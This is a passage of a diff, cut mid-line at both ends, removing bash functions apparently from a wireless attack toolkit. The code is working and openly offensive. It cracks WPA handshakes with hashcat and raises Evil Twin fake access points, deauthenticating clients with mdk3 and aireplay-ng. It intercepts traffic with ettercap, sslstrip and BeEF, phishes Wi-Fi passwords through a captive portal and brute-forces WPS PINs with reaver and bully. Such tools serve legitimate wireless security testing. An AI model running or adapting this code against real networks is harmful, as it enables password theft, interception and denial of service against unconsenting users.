"${enteredpath}" - language_strings "${language}" 115 "read" -} - -#Execute hashcat dictionary attack -function exec_hashcat_dictionary_attack() { - - debug_print - - convert_cap_to_hashcat_format - hashcat_cmd="hashcat -m 2500 -a 0 \"${tmpdir}hctmp.hccap\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" - exec 5>&1 - hashcat_output=$(eval "${hashcat_cmd}") - language_strings "${language}" 115 "read" -} - -#Execute hashcat bruteforce attack -function exec_hashcat_bruteforce_attack() { - - debug_print - - convert_cap_to_hashcat_format - hashcat_cmd="hashcat -m 2500 -a 3 \"${tmpdir}hctmp.hccap\" \"${charset}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" - exec 5>&1 - hashcat_output=$(eval "${hashcat_cmd}") - language_strings "${language}" 115 "read" -} - -#Execute hashcat rule based attack -function exec_hashcat_rulebased_attack() { - - debug_print - - convert_cap_to_hashcat_format - hashcat_cmd="hashcat -m 2500 -a 0 \"${tmpdir}hctmp.hccap\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" - exec 5>&1 - hashcat_output=$(eval "${hashcat_cmd}") - language_strings "${language}" 115 "read" -} - -#Execute Evil Twin only Access Point attack -function exec_et_onlyap_attack() { - - debug_print - - set_hostapd_config - launch_fake_ap - set_dhcp_config - set_std_internet_routing_rules - launch_dhcp_server - exec_et_deauth - set_control_script - launch_control_window - - echo - language_strings "${language}" 298 "yellow" - language_strings "${language}" 115 "read" - - kill_et_windows - restore_et_interface - clean_tmpfiles -} - -#Execute Evil Twin with sniffing attack -function exec_et_sniffing_attack() { - - debug_print - - set_hostapd_config - launch_fake_ap - set_dhcp_config - set_std_internet_routing_rules - launch_dhcp_server - exec_et_deauth - launch_ettercap_sniffing - set_control_script - launch_control_window - - echo - language_strings "${language}" 298 "yellow" - language_strings "${language}" 115 "read" - - kill_et_windows - restore_et_interface - if [ ${ettercap_log} -eq 1 ]; then - parse_ettercap_log - fi - clean_tmpfiles -} - -#Execute Evil Twin with sniffing+sslstrip attack -function exec_et_sniffing_sslstrip_attack() { - - debug_print - - set_hostapd_config - launch_fake_ap - set_dhcp_config - set_std_internet_routing_rules - launch_dhcp_server - exec_et_deauth - launch_sslstrip - launch_ettercap_sniffing - set_control_script - launch_control_window - - echo - language_strings "${language}" 298 "yellow" - language_strings "${language}" 115 "read" - - kill_et_windows - restore_et_interface - if [ ${ettercap_log} -eq 1 ]; then - parse_ettercap_log - fi - clean_tmpfiles -} - -#Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack -function exec_et_sniffing_sslstrip2_attack() { - - debug_print - - set_hostapd_config - launch_fake_ap - set_dhcp_config - set_std_internet_routing_rules - launch_dhcp_server - exec_et_deauth - if [ "${beef_found}" -eq 1 ]; then - set_beef_config - else - new_beef_pass="beef" - et_misc_texts[${language},27]=${et_misc_texts[${language},27]/${beef_pass}/${new_beef_pass}} - beef_pass="${new_beef_pass}" - - fi - launch_beef - launch_bettercap_sniffing - set_control_script - launch_control_window - - echo - language_strings "${language}" 298 "yellow" - language_strings "${language}" 115 "read" - - kill_beef - kill_et_windows - restore_et_interface - - if [ ${bettercap_log} -eq 1 ]; then - parse_bettercap_log - fi - clean_tmpfiles -} - -#Execute captive portal Evil Twin attack -function exec_et_captive_portal_attack() { - - debug_print - - set_hostapd_config - launch_fake_ap - set_dhcp_config - set_std_internet_routing_rules - launch_dhcp_server - exec_et_deauth - set_control_script - launch_control_window - if [ ${captive_portal_mode} = "dnsblackhole" ]; then - launch_dns_blackhole - fi - set_webserver_config - set_captive_portal_page - launch_webserver - write_et_processes - - echo - language_strings "${language}" 298 "yellow" - language_strings "${language}" 115 "read" - - kill_et_windows - restore_et_interface - clean_tmpfiles -} - -#Create configuration file for hostapd -function set_hostapd_config() { - - debug_print - - tmpfiles_toclean=1 - rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 - - different_mac_digit=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 | head -n100 | grep -v "${bssid:10:1}" | head -c 1) - et_bssid=${bssid::10}${different_mac_digit}${bssid:11:6} - - { - echo -e "interface=${interface}" - echo -e "driver=nl80211" - echo -e "ssid=${essid}" - echo -e "channel=${channel}" - echo -e "bssid=${et_bssid}" - } >> "${tmpdir}${hostapd_file}" -} - -#Launch hostapd fake Access Point -function launch_fake_ap() { - - debug_print - - killall hostapd > /dev/null 2>&1 - ${airmon} check kill > /dev/null 2>&1 - nm_processes_killed=1 - - if [ ${mac_spoofing_desired} -eq 1 ]; then - set_spoofed_mac "${interface}" - fi - - recalculate_windows_sizes - case ${et_mode} in - "et_onlyap") - hostapd_scr_window_position=${g1_topleft_window} - ;; - "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") - hostapd_scr_window_position=${g3_topleft_window} - ;; - "et_sniffing_sslstrip") - hostapd_scr_window_position=${g4_topleft_window} - ;; - esac - xterm -hold -bg black -fg blue -geometry "${hostapd_scr_window_position}" -T "AP" -e "hostapd \"${tmpdir}${hostapd_file}\"" > /dev/null 2>&1 & - et_processes+=($!) - sleep 3 -} - -#Create configuration file for dhcpd -function set_dhcp_config() { - - debug_print - - route | grep ${ip_range} > /dev/null - if [ "$?" != "0" ]; then - et_ip_range=${ip_range} - et_ip_router=${router_ip} - et_broadcast_ip=${broadcast_ip} - et_range_start=${range_start} - et_range_stop=${range_stop} - else - et_ip_range=${alt_ip_range} - et_ip_router=${alt_router_ip} - et_broadcast_ip=${alt_broadcast_ip} - et_range_start=${alt_range_start} - et_range_stop=${alt_range_stop} - fi - - tmpfiles_toclean=1 - rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}clts.txt" > /dev/null 2>&1 - ifconfig "${interface}" up - - { - echo -e "authoritative;" - echo -e "default-lease-time 600;" - echo -e "max-lease-time 7200;" - echo -e "subnet ${et_ip_range} netmask ${std_c_mask} {" - echo -e "\toption broadcast-address ${et_broadcast_ip};" - echo -e "\toption routers ${et_ip_router};" - echo -e "\toption subnet-mask ${std_c_mask};" - } >> "${tmpdir}${dhcpd_file}" - - if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - echo -e "\toption domain-name-servers ${internet_dns1}, ${internet_dns2};" >> "${tmpdir}${dhcpd_file}" - else - echo -e "\toption domain-name-servers ${et_ip_router};" >> "${tmpdir}${dhcpd_file}" - fi - - { - echo -e "\trange ${et_range_start} ${et_range_stop};" - echo -e "}" - } >> "${tmpdir}${dhcpd_file}" - - leases_found=0 - for item in "${!possible_dhcp_leases_files[@]}"; do - if [ -f "${possible_dhcp_leases_files[${item}]}" ]; then - leases_found=1 - key_leases_found=${item} - break - fi - done - - if [ ${leases_found} -eq 1 ]; then - echo -e "lease-file-name \"${possible_dhcp_leases_files[${key_leases_found}]}\";" >> "${tmpdir}${dhcpd_file}" - chmod a+w "${possible_dhcp_leases_files[${key_leases_found}]}" > /dev/null 2>&1 - else - touch "${possible_dhcp_leases_files[0]}" - echo -e "lease-file-name \"${possible_dhcp_leases_files[0]}\";" >> "${tmpdir}${dhcpd_file}" - chmod a+w "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1 - fi - - dhcp_path="${tmpdir}${dhcpd_file}" - if hash apparmor_status 2> /dev/null; then - apparmor_status | grep dhcpd > /dev/null - if [ "$?" = "0" ]; then - if [ -d /etc/dhcpd ]; then - cp "${tmpdir}${dhcpd_file}" /etc/dhcpd/ 2> /dev/null - dhcp_path="/etc/dhcpd/${dhcpd_file}" - elif [ -d /etc/dhcp ]; then - cp "${tmpdir}${dhcpd_file}" /etc/dhcp/ 2> /dev/null - dhcp_path="/etc/dhcp/${dhcpd_file}" - else - cp "${tmpdir}${dhcpd_file}" /etc/ 2> /dev/null - dhcp_path="/etc/${dhcpd_file}" - fi - dhcpd_path_changed=1 - fi - fi -} - -#Change mac of desired interface -function set_spoofed_mac() { - - debug_print - - current_original_mac=$(cat < "/sys/class/net/${1}/address" 2> /dev/null) - - if [ "${spoofed_mac}" -eq 0 ]; then - spoofed_mac=1 - declare -gA original_macs - original_macs["${1}"]="${current_original_mac}" - else - if [ -z "${original_macs[${1}]}" ]; then - original_macs["${1}"]="${current_original_mac}" - fi - fi - - new_random_mac=$(od -An -N6 -tx1 /dev/urandom | sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/') - - ifconfig "${1}" down > /dev/null 2>&1 - ifconfig "${1}" hw ether "${new_random_mac}" > /dev/null 2>&1 - ifconfig "${1}" up > /dev/null 2>&1 -} - -#Restore spoofed macs to original values -function restore_spoofed_macs() { - - debug_print - - for item in "${!original_macs[@]}"; do - ifconfig "${item}" down > /dev/null 2>&1 - ifconfig "${item}" hw ether "${original_macs[${item}]}" > /dev/null 2>&1 - ifconfig "${item}" up > /dev/null 2>&1 - done -} - -#Set routing state and firewall rules for Evil Twin attacks -function set_std_internet_routing_rules() { - - debug_print - - routing_toclean=1 - original_routing_state=$(cat /proc/sys/net/ipv4/ip_forward) - ifconfig "${interface}" ${et_ip_router} netmask ${std_c_mask} > /dev/null 2>&1 - - clean_iptables - - if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - iptables -P FORWARD ACCEPT - echo "1" > /proc/sys/net/ipv4/ip_forward - else - iptables -P FORWARD DROP - echo "0" > /proc/sys/net/ipv4/ip_forward - fi - - if [ "${et_mode}" = "et_captive_portal" ]; then - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${et_ip_router}:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${et_ip_router}:80 - iptables -A INPUT -p tcp --destination-port 80 -j ACCEPT - iptables -A INPUT -p tcp --destination-port 443 -j ACCEPT - if [ ${captive_portal_mode} = "dnsblackhole" ]; then - iptables -A INPUT -p udp --destination-port 53 -j ACCEPT - fi - elif [ "${et_mode}" = "et_sniffing_sslstrip" ]; then - iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} - iptables -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT - elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then - iptables -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT - iptables -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT - iptables -A INPUT -i lo -j ACCEPT - iptables -A INPUT -p tcp --destination-port ${beef_port} -j ACCEPT - fi - - if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - iptables -t nat -A POSTROUTING -o "${internet_interface}" -j MASQUERADE - fi - - iptables -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT - iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP - sleep 2 -} - -#Launch dhcpd server -function launch_dhcp_server() { - - debug_print - - killall dhcpd > /dev/null 2>&1 - - recalculate_windows_sizes - case ${et_mode} in - "et_onlyap") - dchcpd_scr_window_position=${g1_bottomleft_window} - ;; - "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") - dchcpd_scr_window_position=${g3_middleleft_window} - ;; - "et_sniffing_sslstrip") - dchcpd_scr_window_position=${g4_middleleft_window} - ;; - esac - xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & - et_processes+=($!) - sleep 2 -} - -#Execute DoS for Evil Twin attacks -function exec_et_deauth() { - - debug_print - - prepare_et_monitor - - case ${et_dos_attack} in - "Mdk3") - killall mdk3 > /dev/null 2>&1 - rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 - echo "${bssid}" > "${tmpdir}bl.txt" - deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" - ;; - "Aireplay") - killall aireplay-ng > /dev/null 2>&1 - deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" - ;; - "Wds Confusion") - killall mdk3 > /dev/null 2>&1 - deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" - ;; - esac - - recalculate_windows_sizes - case ${et_mode} in - "et_onlyap") - deauth_scr_window_position=${g1_bottomright_window} - ;; - "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") - deauth_scr_window_position=${g3_bottomleft_window} - ;; - "et_sniffing_sslstrip") - deauth_scr_window_position=${g4_bottomleft_window} - ;; - esac - xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & - et_processes+=($!) - sleep 1 -} - -#Create here-doc bash script used for wps pin attacks -function set_wps_attack_script() { - - debug_print - - tmpfiles_toclean=1 - rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 - - exec 7>"${tmpdir}${wps_attack_script_file}" - - wps_attack_tool="${1}" - wps_attack_mode="${2}" - if [ "${wps_attack_tool}" = "reaver" ]; then - unbuffer="" - case ${wps_attack_mode} in - "pindb"|"custompin") - attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -N -a -g 1 -d 2 -vvv -p " - ;; - "pixiedust") - attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -K 1 -N -vvv" - ;; - "bruteforce") - attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -N -a -d 2 -vvv" - ;; - esac - else - unbuffer="unbuffer " - case ${wps_attack_mode} in - "pindb"|"custompin") - attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity} -p " - ;; - "pixiedust") - attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -d -v ${bully_verbosity}" - ;; - "bruteforce") - attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity}" - ;; - esac - fi - - attack_cmd2=" | tee ${tmpdir}${wps_out_file}" - - cat >&7 <<-EOF - #!/bin/bash - script_wps_attack_tool="${wps_attack_tool}" - script_wps_attack_mode="${wps_attack_mode}" - attack_pin_counter=1 - script_interface="${interface}" - script_wps_bssid="${wps_bssid}" - script_wps_channel="${wps_channel}" - EOF - - cat >&7 <<-'EOF' - case ${script_wps_attack_mode} in - EOF - - cat >&7 <<-EOF - "pindb") - script_pins_found=(${pins_found[@]}) - script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" - pin_header1="${white_color}Testing PIN " - ;; - "custompin") - current_pin=${custom_pin} - script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" - pin_header1="${white_color}Testing PIN " - ;; - "pixiedust") - script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}" - pin_header1="${white_color}Testing Pixie Dust attack${normal_color}" - ;; - "bruteforce") - script_attack_cmd1="${unbuffer} ${attack_cmd1}" - pin_header1="${white_color}Testing all possible PINs${normal_color}" - ;; - esac - - pin_header2=" (${yellow_color}" - pin_header3="${white_color})${normal_color}" - script_attack_cmd2="${attack_cmd2}" - - #Parse the output file generated by the attack - function parse_output() { - - readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wps_out_file}" 2> /dev/null) - EOF - - cat >&7 <<-'EOF' - if [ "${script_wps_attack_tool}" = "reaver" ]; then - case ${script_wps_attack_mode} in - "pindb"|"custompin"|"bruteforce") - failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed" - success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key" - success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" - pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'" - password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" - ;; - "pixiedust") - success_attack_badpixie_regexp="^\[Pixie\-Dust\].*\[\-\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" - success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]*\[\+\][[:space:]]*WPS[[:space:]]pin:.*([0-9]{8})" - success_attack_goodpixie_password_regexp=".*?\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" - ;; - esac - else - case ${script_wps_attack_mode} in - "pindb"|"custompin"|"bruteforce") - failed_attack_regexp="^\[\+\][[:space:]].*'WPSFail'" - success_attack_badpin_regexp="^\[\+\][[:space:]].*'Pin[0-9][0-9]?Bad'" - success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" - ;; - "pixiedust") - success_attack_badpixie_regexp="^\[Pixie\-Dust\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" - success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]PIN[[:space:]]FOUND:[[:space:]]([0-9]{8})" - success_attack_goodpixie_password_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'[0-9]{8}',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" - ;; - esac - fi - - case ${script_wps_attack_mode} in - "pindb"|"custompin") - for item in "${LINES_TO_PARSE[@]}"; do - if [ "${script_wps_attack_tool}" = "reaver" ]; then - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then - if [[ ${item} =~ ${pin_cracked_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - continue - elif [[ ${item} =~ ${password_cracked_regexp} ]]; then - cracked_password="${BASH_REMATCH[1]}" - return 0 - fi - pin_cracked=1 - continue - elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then - return 2 - elif [[ ${item} =~ ${failed_attack_regexp} ]]; then - return 1 - fi - else - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - cracked_password="${BASH_REMATCH[2]}" - pin_cracked=1 - return 0 - elif [[ ${item} =~ ${failed_attack_regexp} ]]; then - return 1 - elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then - return 2 - fi - fi - done - ;; - "pixiedust") - for item in "${LINES_TO_PARSE[@]}"; do - if [[ ${item} =~ ${success_attack_goodpixie_pin_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - pin_cracked=1 - continue - elif [[ ${item} =~ ${success_attack_goodpixie_password_regexp} ]]; then - cracked_password="${BASH_REMATCH[1]}" - return 0 - fi - done - if [ ${pin_cracked} -eq 1 ]; then - return 0 - fi - ;; - "bruteforce") - for item in "${LINES_TO_PARSE[@]}"; do - if [ "${script_wps_attack_tool}" = "reaver" ]; then - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then - if [[ ${item} =~ ${pin_cracked_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - continue - elif [[ ${item} =~ ${password_cracked_regexp} ]]; then - cracked_password="${BASH_REMATCH[1]}" - return 0 - fi - pin_cracked=1 - continue - fi - else - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - cracked_password="${BASH_REMATCH[2]}" - pin_cracked=1 - return 0 - fi - fi - done - ;; - esac - return 3 - } - EOF - - cat >&7 <<-EOF - #Prints message for pins on timeout - function print_timeout() { - - echo - EOF - - cat >&7 <<-'EOF' - if [ "${script_wps_attack_mode}" = "pixiedust" ]; then - EOF - - cat >&7 <<-EOF - timeout_msg="${white_color}Timeout for Pixie Dust attack${normal_color}" - else - timeout_msg="${white_color}Timeout for last PIN${normal_color}" - fi - EOF - - cat >&7 <<-'EOF' - echo -e "${timeout_msg}" - } - - pin_cracked=0 - this_pin_timeout=0 - case ${script_wps_attack_mode} in - "pindb") - for current_pin in "${script_pins_found[@]}"; do - possible_bully_timeout=0 - if [ ${attack_pin_counter} -ne 1 ]; then - sleep 1.5 - fi - bad_attack_this_pin_counter=0 - if [ "${this_pin_timeout}" -eq 1 ]; then - print_timeout - fi - - echo - echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" - if [ "${script_wps_attack_tool}" = "bully" ]; then - echo - fi - - this_pin_timeout=0 - (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") - if [ "$?" = "124" ]; then - if [ "${script_wps_attack_tool}" = "reaver" ]; then - this_pin_timeout=1 - else - possible_bully_timeout=1 - fi - fi - attack_pin_counter=$((attack_pin_counter + 1)) - parse_output - output="$?" - if [ "${output}" = "0" ]; then - break - elif [ "${output}" = "1" ]; then - this_pin_timeout=1 - continue - elif [ "${output}" = "2" ]; then - continue - elif [[ "${output}" = "3" ]] || [[ "${this_pin_timeout}" -eq 1 ]] || [[ ${possible_bully_timeout} -eq 1 ]]; then - if [ "${this_pin_timeout}" -eq 1 ]; then - continue - fi - bad_attack_this_pin_counter=$((bad_attack_this_pin_counter + 1)) - if [ ${bad_attack_this_pin_counter} -eq 3 ]; then - this_pin_timeout=1 - continue - fi - if [ ${possible_bully_timeout} -eq 1 ]; then - this_pin_timeout=1 - continue - fi - fi - done - ;; - "custompin") - possible_bully_timeout=0 - echo - echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/1${pin_header3}" - if [ "${script_wps_attack_tool}" = "bully" ]; then - echo - fi - - (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") - if [ "$?" = "124" ]; then - if [ "${script_wps_attack_tool}" = "reaver" ]; then - this_pin_timeout=1 - else - possible_bully_timeout=1 - fi - fi - - parse_output - output="$?" - if [[ "${output}" != "0" ]] && [[ "${output}" != "2" ]]; then - if [ "${this_pin_timeout}" -ne 1 ]; then - if [ "${output}" = "1" ]; then - this_pin_timeout=1 - elif [ ${possible_bully_timeout} -eq 1 ]; then - if [ ${possible_bully_timeout} -eq 1 ]; then - this_pin_timeout=1 - fi - fi - fi - fi - ;; - "pixiedust") - echo - echo -e "${pin_header1}" - if [ "${script_wps_attack_tool}" = "bully" ]; then - echo - fi - - (set -o pipefail && eval "${script_attack_cmd1}${script_attack_cmd2}") - if [ "$?" = "124" ]; then - this_pin_timeout=1 - fi - parse_output - ;; - "bruteforce") - echo - echo -e "${pin_header1}" - if [ "${script_wps_attack_tool}" = "bully" ]; then - echo - fi - eval "${script_attack_cmd1}${script_attack_cmd2}" - parse_output - ;; - esac - - if [ ${pin_cracked} -eq 1 ]; then - EOF - - cat >&7 <<-EOF - echo - pin_cracked_msg="${white_color}PIN cracked: ${yellow_color}" - password_cracked_msg="${white_color}Password cracked: ${yellow_color}" - password_not_cracked_msg="${white_color}Password was not cracked: ${yellow_color}Maybe because bad/low signal, or PBC activated on AP" - EOF - - cat >&7 <<-'EOF' - echo -e "${pin_cracked_msg}${cracked_pin}" - if [ -n "${cracked_password}" ]; then - echo -e "${password_cracked_msg}${cracked_password}" - else - echo -e "${password_not_cracked_msg}" - fi - fi - - if [ "${this_pin_timeout}" -eq 1 ]; then - EOF - cat >&7 <<-EOF - print_timeout - fi - - echo - echo -e "${white_color}Close this window" - EOF - - exec 7>&- - sleep 1 -} - -#Create here-doc bash script used for control windows on Evil Twin attacks -function set_control_script() { - - debug_print - - rm -rf "${tmpdir}${control_file}" > /dev/null 2>&1 - - exec 7>"${tmpdir}${control_file}" - - cat >&7 <<-EOF - #!/bin/bash - et_heredoc_mode=${et_mode} - EOF - - cat >&7 <<-'EOF' - if [ "${et_heredoc_mode}" = "et_captive_portal" ]; then - EOF - - cat >&7 <<-EOF - path_to_processes="${tmpdir}${webdir}${processesfile}" - attempts_path="${tmpdir}${webdir}${attemptsfile}" - attempts_text="${blue_color}${et_misc_texts[${language},20]}:${normal_color}" - last_password_msg="${blue_color}${et_misc_texts[${language},21]}${normal_color}" - EOF - - cat >&7 <<-'EOF' - function kill_et_windows() { - - readarray -t ET_PROCESSES_TO_KILL < <(cat < "${path_to_processes}" 2> /dev/null) - for item in "${ET_PROCESSES_TO_KILL[@]}"; do - kill "${item}" &> /dev/null - done - } - EOF - - cat >&7 <<-EOF - function finish_evil_twin() { - - echo "" > "${et_captive_portal_logpath}" - EOF - - cat >&7 <<-'EOF' - date +%Y-%m-%d >>\ - EOF - - cat >&7 <<-EOF - "${et_captive_portal_logpath}" - { - echo "${et_misc_texts[${language},19]}" - echo "" - echo "BSSID: ${bssid}" - echo "${et_misc_texts[${language},1]}: ${channel}" - echo "ESSID: ${essid}" - echo "" - echo "---------------" - echo "" - } >> "${et_captive_portal_logpath}" - success_pass_path="${tmpdir}${webdir}${currentpassfile}" - msg_good_pass="${et_misc_texts[${language},11]}:" - log_path="${et_captive_portal_logpath}" - log_reminder_msg="${pink_color}${et_misc_texts[${language},24]}: [${normal_color}${et_captive_portal_logpath}${pink_color}]${normal_color}" - done_msg="${yellow_color}${et_misc_texts[${language},25]}${normal_color}" - echo -e "\t${blue_color}${et_misc_texts[${language},23]}:${normal_color}" - echo - EOF - - cat >&7 <<-'EOF' - echo "${msg_good_pass} $( (cat < ${success_pass_path}) 2> /dev/null)" >> ${log_path} - attempts_number=$( (cat < "${attempts_path}" | wc -l) 2> /dev/null) - et_password=$( (cat < ${success_pass_path}) 2> /dev/null) - echo -e "\t${et_password}" - echo - echo -e "\t${log_reminder_msg}" - echo - echo -e "\t${done_msg}" - if [ "${attempts_number}" -gt 0 ]; then - EOF - - cat >&7 <<-EOF - { - echo "" - echo "---------------" - echo "" - echo "${et_misc_texts[${language},22]}:" - echo "" - } >> "${et_captive_portal_logpath}" - readarray -t BADPASSWORDS < <(cat < "${tmpdir}${webdir}${attemptsfile}" 2> /dev/null) - EOF - - cat >&7 <<-'EOF' - for badpass in "${BADPASSWORDS[@]}"; do - echo "${badpass}" >>\ - EOF - - cat >&7 <<-EOF - "${et_captive_portal_logpath}" - done - fi - - sleep 2 - killall hostapd > /dev/null 2>&1 - killall dhcpd > /dev/null 2>&1 - killall aireplay-ng > /dev/null 2>&1 - killall lighttpd > /dev/null 2>&1 - kill_et_windows - exit 0 - } - fi - EOF - - cat >&7 <<-'EOF' - date_counter=$(date +%s) - while true; do - EOF - - case ${et_mode} in - "et_onlyap") - local control_msg=${et_misc_texts[${language},4]} - ;; - "et_sniffing"|"et_sniffing_sslstrip") - local control_msg=${et_misc_texts[${language},5]} - ;; - "et_sniffing_sslstrip2") - local control_msg=${et_misc_texts[${language},27]} - ;; - "et_captive_portal") - local control_msg=${et_misc_texts[${language},6]} - ;; - esac - - cat >&7 <<-EOF - echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" - echo - echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" - EOF - - cat >&7 <<-'EOF' - hours=$(date -u --date @$(($(date +%s) - date_counter)) +%H) - mins=$(date -u --date @$(($(date +%s) - date_counter)) +%M) - secs=$(date -u --date @$(($(date +%s) - date_counter)) +%S) - echo -e "\t${hours}:${mins}:${secs}" - EOF - - cat >&7 <<-EOF - echo -e "\t${pink_color}${control_msg}${normal_color}\n" - EOF - - cat >&7 <<-'EOF' - if [ "${et_heredoc_mode}" = "et_captive_portal" ]; then - EOF - - cat >&7 <<-EOF - if [ -f "${tmpdir}${webdir}${successfile}" ]; then - clear - echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" - echo - echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" - EOF - - cat >&7 <<-'EOF' - echo -e "\t${hours}:${mins}:${secs}" - echo - finish_evil_twin - else - attempts_number=$( (cat < "${attempts_path}" | wc -l) 2> /dev/null) - last_password=$(grep "." ${attempts_path} 2> /dev/null | tail -1) - tput el && echo -ne "\t${attempts_text} ${attempts_number}" - if [ "${attempts_number}" -gt 0 ]; then - EOF - - cat >&7 <<-EOF - open_parenthesis="${yellow_color}(${normal_color}" - close_parenthesis="${yellow_color})${normal_color}" - EOF - - cat >&7 <<-'EOF' - echo -ne " ${open_parenthesis} ${last_password_msg} ${last_password} ${close_parenthesis}" - fi - fi - echo - echo - fi - EOF - - cat >&7 <<-EOF - echo -e "\t${green_color}${et_misc_texts[${language},3]}${normal_color}" - readarray -t DHCPCLIENTS < <(grep DHCPACK < "${tmpdir}clts.txt") - client_ips=() - EOF - - cat >&7 <<-'EOF' - if [[ -z "${DHCPCLIENTS[@]}" ]]; then - EOF - - cat >&7 <<-EOF 